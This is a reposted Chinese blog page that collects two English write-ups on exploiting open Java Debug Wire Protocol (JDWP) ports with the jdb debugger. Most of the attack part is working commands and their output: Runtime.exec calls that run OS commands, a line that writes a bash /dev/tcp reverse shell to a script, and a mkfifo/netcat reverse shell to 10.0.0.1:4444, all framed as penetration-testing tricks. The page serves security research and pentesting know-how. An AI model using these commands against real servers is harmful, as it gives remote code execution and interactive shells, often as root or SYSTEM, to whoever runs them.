java压力渗透测试,java debug 渗透测试

http://blog.silentsignal.eu/2014/02/09/jdb-tricks-hacking-java-debug-wire/

http://pki.fedoraproject.org/wiki/Debugging_Dogtag

http://wiki.jerrypeng.me/source-notes-jetty.html

JDWP Arbitrary Java Code Execution Exploitation

===============================================

Java Debugging Wire Protocol (JDWP) is the lowlevel protocol used for

communication between a debugger and a Java Virtual Machine (JVM) as outlined in

the Java Platform Debugger Architecture. It is often used to facilitate remote

debugging of a JVM over TCP/IP and can be identified by the initial protocol

handshake ascii string "JDWP-Handshake", sent first by the client and responded

to by the server. "jdb" is a proof-of-concept JDWP capable debugger included in

Oracle JDK and OpenJDK which can be used to interact with remote JDWP capable

services. Typically this service runs on TCP port 8000 however it can be found

to run on arbitrary TCP ports and is sometimes found enabled inadvertantly on

servers running Java services. It is possible to use this utility to exploit

remote JVM's and execute arbitrary Java code. An example shown here outlines

how to leverage this weakness to execute arbitrary host OS commands in the

context of the JVM.

$ jdb -attach x.x.x.x:8000

Set uncaught java.lang.Throwable

Set deferred uncaught java.lang.Throwable

Initializing jdb ...

>

Information leaks can be leveraged to determine details about the remote OS

platform and Java installation configuration through the "classpath" command.

> classpath

base directory: C:\Windows\system32

classpath: [ ** MASKED ** list of jar's loaded in remote JVM ]

bootclasspath: [ ** MASKED ** list of JRE paths ]

>

jdb is capable of performing remote object creation and method invokation from

within the CLI using the "print" "dump" and "eval" commands with the "new"

keyword. To determine the classes and methods available use the "classes" and

then "methods" on the corrosponding class.

> classes

...

java.lang.Runtime

...

> methods java.lang.Runtime

...

java.lang.Runtime exec(java.lang.String[])

...

It is often necessary to set the JDB context to be within a suspended thread or

breakpoint before attempting to create a new remote object class. Using the

"trace go methods" function can be used to identify a candidate for a breakpoint

and then "stop in your.random.class.method()" to halt the execution of a running

thread. When the execution is halted you can use "print new" to create your

class and invoke methods such as in the following example.

Breakpoint hit: "thread=threadname",your.random.class.method(), line=745 bci=0

threadname[1] print new java.lang.Runtime().exec("cmd.exe /c dir")

new java.lang.Runtime().exec("cmd.exe /c dir") = "java.lang.ProcessImpl@918502"

threadname[1] cont

>

Exploitation success will be determined from the output of the JDB process as

functions returning "null" or errors about "unsuspended thread state" would

indicate that exploitation was unsuccessful, however in the example above we can

see that the java created a new object "java.lang.ProcessImpl@918502" indicating

the "cmd.exe /c dir" was executed with success. On Linux this may need adjusting

to "java.lang.Runtime.getRuntime().exec()" however see the method / class

enumeration when attempting to exploit this flaw.

Your java will be executed in the context of the running JVM application, this

has been identified on services running as both "root" (*nix) and "SYSTEM"

(win32) in the wild.

-- prdelka

During a recent project we found a Java Debug Wire Protocol interface open at a server. I was a bit surprised when I was able to attach to it using JDB, the Java debugger – this was too easy. Or was it?

Prdelka has a pretty decent write-up on the exploitation over JDWP: you can basically instantiate any class from the classpath (and you can set the classpath yourself with the -D switch of jdb) and luckily you can also directly call the exec() method of the java.lang.Runtime class practically achieving remote code execution. It goes like this:

print new java.lang.Runtime().exec("ls")

new java.lang.Runtime().exec("ls") = "java.lang.UNIXProcess@481adc30"

Well, that’s great, how about getting the output back or even an interactive shell maybe? That’s when things go painfully Java.

If you open the documentation of JDB you don’t see too much features to work with: a handful of commands, no scripting support and as it turns out the expression syntax  is also undocumented.

After a bit of experimenting you’ll find that although you can instantiate classes and call their methods, there is no easy way for storing the actual object instances which is pretty bad since Java requires a ton of boilerplate code for pretty much every basic operation. For example getting back one line of exec() output looks like this:

print new java.lang.String(new java.io.BufferedReader( \

new java.io.InputStreamReader( \

new java.lang.Runtime().exec("id").getInputStream())).readLine())

new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("id").getInputStream())).readLine()) = "uid=1000(b) gid=1000(b) groups=1000(b)"

Still, I couldn’t figure a way to put this whole thing in a loop to read more lines. What about getting a reverse shell and getting rid of all the InputStream handling? Netcat was available on the target but without the -e option (aka GAPING_SECURITY_HOLE) enabled. There are of course a ton of other options to achieve the same result, but they all require either shell stream redirection or at least quoting. Since Runtime.exec() passess the commands directly to the OS, shell syntax doesn’t work immediately and also quotation marks are handled in a rather weird way by the JDB shell, so things like exec(“bash -c \”your > command\”") don’t work as expected.

One possible solution to come over these limitations is to write out a shell script and then invoke it:

print new java.io.PrintWriter(new java.io.PrintWriter("/tmp/S2.sh"),true).println("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1")

Note that since you can’t close() the PrintWriter instance you have to enable automatic flush that actually requires a PrintWriter instance to be wrapped by an other one…

The more elegant solution is to use Runtime.exec(String[]) interface and let the API take care of quotation. The problem is that it seems you can’t simply declare an array in the jdb shell. Luckily though you can invoke thesplit() method on a freshly instantiated String object:

print new java.lang.Runtime().exec(new java.lang.String("bashS2-cS2mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f").split("S2"))

So we successfully got our interactive shell with the privileges of the application server. Also, by this time PZ got root in a totally different way on the same server, more about that in a later post :)

If you know other useful tricks for JDB, don’t hesitate to share it in the comments!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值